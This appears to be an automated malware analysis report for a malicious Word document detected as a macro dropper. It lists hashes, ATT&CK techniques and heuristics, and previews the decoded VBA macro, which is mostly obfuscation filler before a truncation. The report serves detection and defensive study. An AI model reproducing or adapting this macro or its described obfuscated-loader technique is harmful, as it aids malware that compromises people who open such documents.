Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 92deb571c99dd088…

MALICIOUS

Office (OLE)

428.5 KB Created: 2018-07-13 08:22:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: e410c2f2071afdf19b22168d77b8c35d SHA-1: 69eb3416230853881caf01314168abba8528893d SHA-256: 92deb571c99dd088c82f2b50b928167041a9fef262886292700c042e7f2e3498
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing a large, obfuscated VBA macro. Critical heuristics indicate the presence of an auto-exec loader that uses `Shell()` and `CreateObject` calls, typical for executing malicious code. The macro's obfuscation and auto-execution suggest it is designed to download and run a secondary payload, hence the 'Malicious File' technique. No specific family could be identified due to the heavy obfuscation.

Heuristics 8

  • ClamAV: Doc.Dropper.Emodldr-6755244-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Emodldr-6755244-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 191259 bytes
SHA-256: 5bcdc68886240376aa32793e2888fe8d915143300b9dbbe33412bf65eeecacf2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function lQBhI(QgZsRoh As String) As String
For arMdvS = 0 To 6
    TOMcuAx = Left("SX!HhA^oeki&(rS)M)U", 3)
    MjlOffub = UCase("DMJ@cDqj*k#")
    WxzIfMAMRI = Space(15)
Next arMdvS
For rEaJDI = 0 To 7
    SrDSbfWX = Space(4)
    MjlOffub = LTrim("neyf.NfZfEjO(aR@[")
    Gearou = RTrim("?PnisMkFMEqdn")
    MjlOffub = "oCugn@aGcvdMTHX#T" + "g]l%fu%SP^(Gq^yG" + "^x_mwKb_tESX*PyKQ"
    TOMcuAx = 1580 + 653 + 619
Next rEaJDI
For yRIafu = 0 To 4
    For OzTfop = 0 To 10
        YKauGnZSZBql = Space(7)
        WcvlXCfZ = Left("dr(Yxz-o-H.s%!NcOpE", 4)
        Pymuh = UCase("nG)f]hgnGRG#nQ")
    Next OzTfop

    HeaPC = 668 + 182 + 534
    JWbkwLTLNw = Space(17)
    bjoqji = "F$Iv.l_C^kBzTAk@PpE" + "Ua[*%MLsc]y" + "r*Ym$^m)]T"
    RBUcdYv = LTrim("RIGJ znIxLyjbc")
Next yRIafu
JoieuruIjmNt = StrReverse("r$Anqc]jC&Kj")
For HvApSk = 0 To 4
    While XBQWIU < 4
        TOMcuAx = Left("YX_XV#i!&eRmzXrCS (R", 5)
        QBtge = Space(17)
        XBQWIU = XBQWIU + 3
    Wend

    RBUcdYv = Right("f ]xd#Z-Mxzd^N&", 3)
    RBUcdYv = StrReverse("c$s nL?$Sev!]Ebl%gU")
    QBtge = 1982 + 960 + 629
    WcvlXCfZ = UCase("!jXt]trvrk_iNOE")
    TOMcuAx = Right("!GYMJbBELk", 2)
    SrDSbfWX = Left("a!Hv[ZYG!.Lg", 3)
    JWbkwLTLNw = 1442 + 1289 + 1998
    RBUcdYv = Space(2)
    Gearou = UCase("s$YrmofrBG")
Next HvApSk
WcvlXCfZ = StrReverse("uQC@NgZf-k")
JWbkwLTLNw = RTrim("Vm.#ucVr.!)Gs")
HeaPC = Left("tBWjgQ$PfTrOpxk", 5)
MjlOffub = UCase("IZml[$q#UT!rG-t?c")
While wYuSun < 4
    While XTMhbN < 1
        HeaPC = 1537 - 918 - 1749
        JWbkwLTLNw = LTrim("n$FKJbnxKV#rhosbZ$T.")
        bjoqji = StrReverse("NqVNWYDYd$KWcNT")
        JoieuruIjmNt = StrReverse("fpigVkf#@yL#B-PcH[$C")
        RBUcdYv = StrReverse("*bt.E?bxH^U")
        XTMhbN = XTMhbN + 1
    Wend

    bvOGov = UCase("IaChAiAFsAxi#eC*#W")
    YKauGnZSZBql = Right("O A^kWGq# W[ceq", 2)
    bvOGov = RTrim("U[)($B*.b$N(Q")
    HeaPC = 1454 + 1902 + 1128
    RBUcdYv = StrReverse("LsZ %tkRw[xt@%")
    SrDSbfWX = RTrim("b(EKQRP#Id!BEHdw")
    TOMcuAx = LTrim("euOpEB]IZIXJiKU")
    SrDSbfWX = RTrim("[[P%H[LL[^%vpzPX#%")
    wYuSun = wYuSun + 1
Wend
    Dim nrvWEWfW() As Byte
    While gfdJzZ < 4
        JoieuruIjmNt = Left("@TjapS)Xxu d!iHf", 3)
        JoieuruIjmNt = RTrim("w^Zh^oM rB")
        SrDSbfWX = "mBYnLsPryRyiDDaa#MUL" + "em%E gV]UbY-#JNycbO" + "]_]xC]z]FU"
        JoieuruIjmNt = 328 - 281 - 1191
        TOMcuAx = Right("tjD$zxwW#h]t[#E$(v", 2)
        bjoqji = UCase("!lEve@V hg")
        HeaPC = Space(5)
        gfdJzZ = gfdJzZ + 1
    Wend
    While orJPMk < 4
        While YvfCbp < 1
            SrDSbfWX = 433 - 476 - 919
            TOMcuAx = UCase("xGit#HopzFbG&mwJe!r")
            YvfCbp = YvfCbp + 1
        Wend

        Gearou = 1127 + 1421 + 1612
        JWbkwLTLNw = Space(14)
        RBUcdYv = UCase("rsKqvPecHhSnb")
        RBUcdYv = "LucwKFvFYpYNSxeV" + "w_uR#K-!MPzA^K" + "gNt.lm!rmPW]N)s[ZmHw"
        RBUcdYv = Left("O]mq&radrvKe$", 2)
        bjoqji = UCase("#xlypymHrGoq^zRbjyx")
        bvOGov = Right("w_EhIDK[kZQ@frP", 4)
        Pymuh = 820 + 186 + 344
        RBUcdYv = 1210 + 435 + 935
        orJPMk = orJPMk + 2
    Wend
    For PLxNaU = 0 To 9
        RBUcdYv = "i*MN)goNES-u[W" + "zCEDR%hyiJGz" + "bdDksX @_sGrNrf"
        YKauGnZSZBql = 1349 + 108 + 1545
        WcvlXCfZ = UCase("#cleFArL_cGfLairTn")
        JoieuruIjmNt = 879 - 1197 - 1285
    Next PLxNaU
    For RlkGhY = 0 To 4
        For pfKldA = 0 To 7
            SrDSbfWX = 1255 - 946 - 1792
            Gearou = RTrim("RndNUZHdHcsPRa&")
            JoieuruIjmNt = "-(]eTtcyHk]yb" + "d@SjLEGGPbbGEU" + "Jphcl%@xY@blPis#SL?$"
            QBtge = 498 - 1947 - 1928
            WxzIfMAMRI = 1686 + 1389 + 480
   
... (truncated)

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